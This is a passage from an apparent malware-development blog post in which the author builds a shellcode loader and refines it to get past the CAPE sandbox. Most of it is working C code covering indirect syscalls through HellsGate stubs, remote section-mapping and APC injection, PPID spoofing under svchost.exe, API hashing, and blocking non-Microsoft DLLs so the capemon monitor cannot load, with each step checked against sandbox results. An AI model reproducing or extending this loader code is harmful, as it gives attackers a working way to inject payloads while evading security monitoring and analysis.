</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>ppBlobCopyAddress <span style="color:#f92672">=</span> pMapRemoteAddress;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>_EndOfFunction:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hSection) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">HellsGate</span>(pSyscallTable<span style="color:#f92672">-&gt;</span>NtClose.dwSSn, pSyscallTable<span style="color:#f92672">-&gt;</span>NtClose.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> ((STATUS <span style="color:#f92672">=</span> <span style="color:#a6e22e">HellDescent</span>(hSection)) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;NtMapViewOfSection failed with error: 0x%0.8X</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, STATUS);
</span></span><span style="display:flex;"><span>			bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Similarly, I modified the APC-Injection function.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">ScheduleRun</span>(
</span></span><span style="display:flex;"><span>	IN	PSYSCALL_TABLE	pSyscallTable,
</span></span><span style="display:flex;"><span>	IN	HANDLE			hThread,
</span></span><span style="display:flex;"><span>	IN	PBYTE			pBlobAddress
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	NTSTATUS STATUS <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HellsGate</span>(pSyscallTable<span style="color:#f92672">-&gt;</span>NtQueueApcThread.dwSSn, pSyscallTable<span style="color:#f92672">-&gt;</span>NtQueueApcThread.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> ((STATUS <span style="color:#f92672">=</span> <span style="color:#a6e22e">HellDescent</span>(hThread, pBlobAddress, NULL, NULL, NULL)) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;NtQueueApcThread failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="did-it-work">Did it work?</h3>
<p>I ran the new loader through the sandbox and inspected the behavioural analysis for the function trace. Unlike the previous iteration, all the functions related to remote-mapping injection and the call for APC injection were gone.</p>
<p><img src="./netutil6-function-sequence.png" alt="netutil6-function-sequence"></p>
<p>But the functions related to process-creation were still being monitored. I believe they provided the sandbox with process tree information which was correctly detected in this iteration as well.</p>
<p><img src="./netutil6-process-tree.png" alt="netutil6-process-tree"></p>
<h2 id="the-process-of-hiding-the-process">The process of hiding the Process</h2>
<p>To evade the parent-child co-relation of processes, I planned to perform <strong>PPID-spoofing</strong> (PPID: Parent Process ID). My plan being to launch a non-suspicious process (here: <code>dllhost.exe</code>) as if it were started by a non-suspicious parent (here: <code>svchost.exe</code>).</p>
<p>The WinAPI function <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw"><code>CreateProcessW</code></a> expects <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow"><code>STARTUPINFO</code></a> or <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw"><code>STARTUPINFOEX</code></a> structure to provide with information relating to process creation. The <code>STARTUPINFOEX</code> structure is an extension of <code>STARTUPINFO</code> that adds an attribute list <code>LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList</code> for process/thread creation.</p>
<p>Using this attribute-list, one may provide a handle to a process that is to act as parent of the child process being created.</p>
<h3 id="hunting-the-handle">Hunting the handle</h3>
<p>To find the handle for parent process (<code>svchost.exe</code>), I had to enumerate through all running processes and find an <code>svchost.exe</code> process whose handle I could retrieve. I leveraged the Native API <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation"><code>NtQuerySystemInformation</code></a> as I had the code for indirect syscall already built.</p>
<p>I started with declaring the Native API&rsquo;s hash and <code>svchost.exe</code>&rsquo;s hash to reduce the plain-string footprint.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// All the syscalls that I&#39;ll need
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> _SYSCALL_TABLE {
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// CODE MENTIONED BEFORE ...
</span></span></span><span style="display:flex;"><span>	NT_SYSCALL NtQuerySystemInformation;
</span></span><span style="display:flex;"><span>} SYSCALL_TABLE, <span style="color:#f92672">*</span> PSYSCALL_TABLE;
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">// define hash for parent process
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">constexpr</span> ULONG	svchost_FnvvW <span style="color:#f92672">=</span> HashStringFowlerNollVoVariant1aW(<span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;svchost.exe&#34;</span>);
</span></span></code></pre></div><p>Next, I searched for the SSN and the <code>syscall</code> instruction address for <code>NtQuerySystemInformation</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">ResolveSyscalls</span>(
</span></span><span style="display:flex;"><span>	OUT PSYSCALL_TABLE<span style="color:#f92672">*</span>	ppSyscallTable
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// CODE MENTIONED BEFORE ...
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">GetSyscallAddress</span>(pNtdll, NtQuerySystemInformation_FnvvA, <span style="color:#f92672">&amp;</span>pSysTable<span style="color:#f92672">-&gt;</span>NtQuerySystemInformation)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve NtQuerySystemInformation.&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">NtQuerySystemInformation</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> syscall number: %d</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">`syscall` instruction address: 0x%p&#34;</span>, pSysTable<span style="color:#f92672">-&gt;</span>NtQuerySystemInformation.dwSSn, pSysTable<span style="color:#f92672">-&gt;</span>NtQuerySystemInformation.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>ppSyscallTable <span style="color:#f92672">=</span> pSysTable;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Finally, I was ready to implement a process-search logic that</p>
<ul>
<li>Enumerated through all the processes on the system</li>
<li>Validated if the process name was <code>svchost.exe</code> using its hash
<ul>
<li>If true, it tried to open a handle to the process
<ul>
<li>If successful, it returned the handle</li>
</ul>
</li>
</ul>
</li>
<li>Moved onto the next process</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">GetPsuedoParentProcess</span>(
</span></span><span style="display:flex;"><span>	IN	PSYSCALL_TABLE	pSyscallTable,			<span style="color:#75715e">// the syscall table with information for NtQuerySystemInformation
</span></span></span><span style="display:flex;"><span>	IN	ULONG			uParentProcNameHash,	<span style="color:#75715e">// the hash of target parent process
</span></span></span><span style="display:flex;"><span>	OUT	PHANDLE			phProcess				<span style="color:#f92672">//</span> <span style="color:#a6e22e">output</span> (parent process<span style="color:#960050;background-color:#1e0010">&#39;</span>s handle) to be returned
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	NTSTATUS					STATUS <span style="color:#f92672">=</span> STATUS_SUCCESS;
</span></span><span style="display:flex;"><span>	BOOL						bSTATE <span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>	PSYSTEM_PROCESS_INFORMATION pSystemProcInfo <span style="color:#f92672">=</span> NULL,
</span></span><span style="display:flex;"><span>								pSystemProcInfoCopy <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	ULONG						SystemProcInfoSize <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(SYSTEM_PROCESS_INFORMATION);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pSystemProcInfo <span style="color:#f92672">=</span> (PSYSTEM_PROCESS_INFORMATION)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, SystemProcInfoSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pSystemProcInfo) {
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HellsGate</span>(pSyscallTable<span style="color:#f92672">-&gt;</span>NtQuerySystemInformation.dwSSn, pSyscallTable<span style="color:#f92672">-&gt;</span>NtQuerySystemInformation.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>	STATUS <span style="color:#f92672">=</span> <span style="color:#a6e22e">HellDescent</span>(SystemProcessInformation, pSystemProcInfo, SystemProcInfoSize, <span style="color:#f92672">&amp;</span>SystemProcInfoSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">while</span> (STATUS <span style="color:#f92672">==</span> STATUS_INFO_LENGTH_MISMATCH) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">HeapFree</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), <span style="color:#ae81ff">0</span>, pSystemProcInfo);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		pSystemProcInfo <span style="color:#f92672">=</span> (PSYSTEM_PROCESS_INFORMATION)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, SystemProcInfoSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pSystemProcInfo) {
</span></span><span style="display:flex;"><span>			bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">HellsGate</span>(pSyscallTable<span style="color:#f92672">-&gt;</span>NtQuerySystemInformation.dwSSn, pSyscallTable<span style="color:#f92672">-&gt;</span>NtQuerySystemInformation.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>		STATUS <span style="color:#f92672">=</span> <span style="color:#a6e22e">HellDescent</span>(SystemProcessInformation, pSystemProcInfo, SystemProcInfoSize, <span style="color:#f92672">&amp;</span>SystemProcInfoSize);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (STATUS <span style="color:#f92672">!=</span> STATUS_SUCCESS) {
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pSystemProcInfoCopy <span style="color:#f92672">=</span> pSystemProcInfo;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">do</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (pSystemProcInfo<span style="color:#f92672">-&gt;</span>ImageName.Length <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">RTIME_FnvHashW</span>(pSystemProcInfo<span style="color:#f92672">-&gt;</span>ImageName.Buffer) <span style="color:#f92672">==</span> uParentProcNameHash) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Found Parent Process PID: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, (DWORD)pSystemProcInfo<span style="color:#f92672">-&gt;</span>UniqueProcessId);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			OBJECT_ATTRIBUTES ObjAttr <span style="color:#f92672">=</span> { <span style="color:#ae81ff">0</span> };
</span></span><span style="display:flex;"><span>			ObjAttr.Length <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(OBJECT_ATTRIBUTES);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			CLIENT_ID Cid <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>				.UniqueProcess <span style="color:#f92672">=</span> pSystemProcInfo<span style="color:#f92672">-&gt;</span>UniqueProcessId,
</span></span><span style="display:flex;"><span>				.UniqueThread <span style="color:#f92672">=</span> NULL
</span></span><span style="display:flex;"><span>			};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">HellsGate</span>(pSyscallTable<span style="color:#f92672">-&gt;</span>NtOpenProcess.dwSSn, pSyscallTable<span style="color:#f92672">-&gt;</span>NtOpenProcess.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>			STATUS <span style="color:#f92672">=</span> <span style="color:#a6e22e">HellDescent</span>(phProcess, PROCESS_CREATE_PROCESS, <span style="color:#f92672">&amp;</span>ObjAttr, <span style="color:#f92672">&amp;</span>Cid);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> (STATUS <span style="color:#f92672">==</span> STATUS_SUCCESS) {
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		pSystemProcInfo <span style="color:#f92672">=</span> (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)pSystemProcInfo <span style="color:#f92672">+</span> pSystemProcInfo<span style="color:#f92672">-&gt;</span>NextEntryOffset);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">while</span> (pSystemProcInfo<span style="color:#f92672">-&gt;</span>NextEntryOffset <span style="color:#f92672">!=</span> NULL);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>phProcess <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>_EoF:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pSystemProcInfoCopy) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">HeapFree</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), <span style="color:#ae81ff">0</span>, pSystemProcInfoCopy);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Notice how it uses the HellsGate stubs for indirect call and <code>RTIME_FnvHashW</code> runtime-hash-calculation functions for hash comparison.</p>
<h3 id="updating-child-process">Updating Child Process</h3>
<p>Leveraging the attribute-list described earlier, I populated the parent process&rsquo;s handle through <code>STARTUPINFOEXW</code> structure using the <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist"><code>InitializeProcThreadAttributeList</code></a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute"><code>UpdateProcThreadAttribute</code></a> functions.</p>
<ul>
<li><code>InitializeProcThreadAttributeList</code> being used to populate the attribute list with default information.</li>
<li><code>UpdateProcThreadAttribute</code> being used to update the information as per need, here the parent process.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">CreateSuspendedProcess</span>(
</span></span><span style="display:flex;"><span>	IN	PH_API	pHashedApis,		<span style="color:#75715e">// A collection of WINAPI functions resolved through compile-time API hashing
</span></span></span><span style="display:flex;"><span>	IN	LPCWSTR	lpszProcessName,	<span style="color:#75715e">// Process to be created
</span></span></span><span style="display:flex;"><span>	IN	HANDLE	hParentProcess,		<span style="color:#75715e">// Parent Process handle to be imitated
</span></span></span><span style="display:flex;"><span>	OUT	PHANDLE	phProcess,			<span style="color:#75715e">// Child Process handle
</span></span></span><span style="display:flex;"><span>	OUT	PHANDLE	phThread,			<span style="color:#75715e">// Child Process&#39;s main thread handle
</span></span></span><span style="display:flex;"><span>	OUT	PDWORD	pdwProcessID		<span style="color:#75715e">// Child Process&#39;s ID
</span></span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL	bSTATE <span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>	WCHAR	lpszTargetProcessPath[MAX_PATH <span style="color:#f92672">*</span> <span style="color:#ae81ff">2</span>];
</span></span><span style="display:flex;"><span>	WCHAR	SysDir[MAX_PATH],
</span></span><span style="display:flex;"><span>			WinDir[MAX_PATH];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	SIZE_T	sThreadAttrListSize <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	STARTUPINFOEXW	Si <span style="color:#f92672">=</span> { <span style="color:#ae81ff">0</span> };
</span></span><span style="display:flex;"><span>	PROCESS_INFORMATION Pi <span style="color:#f92672">=</span> { <span style="color:#ae81ff">0</span> };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">GetEnvironmentVariableW</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;WINDIR&#34;</span>, WinDir, MAX_PATH)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;GetEnvironmentVariableW failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">swprintf_s</span>(SysDir, MAX_PATH, <span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;%s</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">System32&#34;</span>, WinDir);									<span style="color:#75715e">// Eg: C:\Windows\System32, for current directory of child process
</span></span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">swprintf_s</span>(lpszTargetProcessPath, MAX_PATH <span style="color:#f92672">*</span> <span style="color:#ae81ff">2</span>, <span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;%s</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">%s&#34;</span>, SysDir, lpszProcessName);	<span style="color:#75715e">// Eg: C:\Windows\System32\Notepad.exe
</span></span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// This will fail with ERROR_INSUFFICIENT_BUFFER, but write the required size in `sThreadAttrListSize`
</span></span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">InitializeProcThreadAttributeList</span>(NULL, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">0</span>, <span style="color:#f92672">&amp;</span>sThreadAttrListSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	Si.lpAttributeList <span style="color:#f92672">=</span> (PPROC_THREAD_ATTRIBUTE_LIST)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, sThreadAttrListSize);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>Si.lpAttributeList) {
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">InitializeProcThreadAttributeList</span>(Si.lpAttributeList, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">0</span>, <span style="color:#f92672">&amp;</span>sThreadAttrListSize);
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// PPID Spoofing
</span></span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">UpdateProcThreadAttribute</span>(Si.lpAttributeList, <span style="color:#ae81ff">0</span>, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, <span style="color:#f92672">&amp;</span>hParentProcess, <span style="color:#66d9ef">sizeof</span>(HANDLE), NULL, NULL)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;UpdateProcThreadAttribute failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	Si.StartupInfo.cb <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(STARTUPINFOEXW);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">pCreateProcessW</span>(NULL, lpszTargetProcessPath, NULL, NULL, FALSE, DEBUG_PROCESS <span style="color:#f92672">|</span> EXTENDED_STARTUPINFO_PRESENT, NULL, SysDir, <span style="color:#f92672">&amp;</span>Si, <span style="color:#f92672">&amp;</span>Pi)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;CreateProcessW failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>phProcess <span style="color:#f92672">=</span> Pi.hProcess;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>phThread <span style="color:#f92672">=</span> Pi.hThread;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>pdwProcessID <span style="color:#f92672">=</span> Pi.dwProcessId;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// End of Function
</span></span></span><span style="display:flex;"><span>_EoF:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (Si.lpAttributeList) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">HeapFree</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), <span style="color:#ae81ff">0</span>, Si.lpAttributeList);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>phProcess <span style="color:#f92672">==</span> NULL <span style="color:#f92672">||</span> <span style="color:#f92672">*</span>phThread <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>I validated that the child process now points to <code>svchost.exe</code> process as parent process and shows <code>C:\Windows\System32</code> as current directory.</p>
<p><img src="./netutil6-ppid-spoofing.png" alt="netutil6-ppid-spoofing"></p>
<h3 id="the-stump-of-the-fallen-tree">The stump of the fallen tree</h3>
<p>CAPE no longer showed the process tree from the loader binary.</p>
<p><img src="./netutil6-no-process-tree.png" alt="netutil6-no-process-tree"></p>
<p>But, it did detect the PPID spoofing.</p>
<p><img src="./netutil6-ppid-spoofing-detection.png" alt="netutil6-ppid-spoofing-detection"></p>
<p>I tweaked the <code>CreateSuspendedProcess</code> a little to use hash-based resolution for <code>InitializeProcThreadAttributeList</code> and <code>UpdateProcThreadAttribute</code>.</p>
<p><img src="./netutil6-hashed-winapi-ppid-spoofing.png" alt="netutil6-hashed-winapi-ppid-spoofing"></p>
<p>To no one&rsquo;s surprise, it did not affect the detection as CAPE performs runtime analysis. Still, it was good to have static signatures out of the way.</p>
<h2 id="eliminating-the-sensor">Eliminating the sensor</h2>
<p>CAPE uses the aptly named <a href="https://github.com/kevoreilly/capemon"><code>capemon.dll</code></a> for detections.</p>
<blockquote>
<p>Much of the functionality of CAPE is contained within the monitor; the CAPE debugger, extracted payloads, process dumps and import reconstruction are implemented within capemon. CAPE&rsquo;s loader is also part of this project.</p>
</blockquote>
<p>If I limited loaded DLLs to only those signed by Microsoft, it would possibly stop CAPE from loading its DLL into my process. To test this thesis, all I needed was to extend the <code>UpdateProcThreadAttribute</code> to enable the mitigation policy to block non-microsoft DLLs (<code>PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON</code>). Following is the updated <code>CreateSuspendedProcess</code> function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">CreateSuspendedProcess</span>(
</span></span><span style="display:flex;"><span>	IN	PH_API	pHashedApis,
</span></span><span style="display:flex;"><span>	IN	LPCWSTR	lpszProcessName,
</span></span><span style="display:flex;"><span>	IN	HANDLE	hParentProcess,
</span></span><span style="display:flex;"><span>	OUT	PHANDLE	phProcess,
</span></span><span style="display:flex;"><span>	OUT	PHANDLE	phThread,
</span></span><span style="display:flex;"><span>	OUT	PDWORD	pdwProcessID
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// CODE MENTIONED BEFORE ...
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">pInitializeProcThreadAttributeList</span>(Si.lpAttributeList, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">0</span>, <span style="color:#f92672">&amp;</span>sThreadAttrListSize);
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// PPID Spoofing
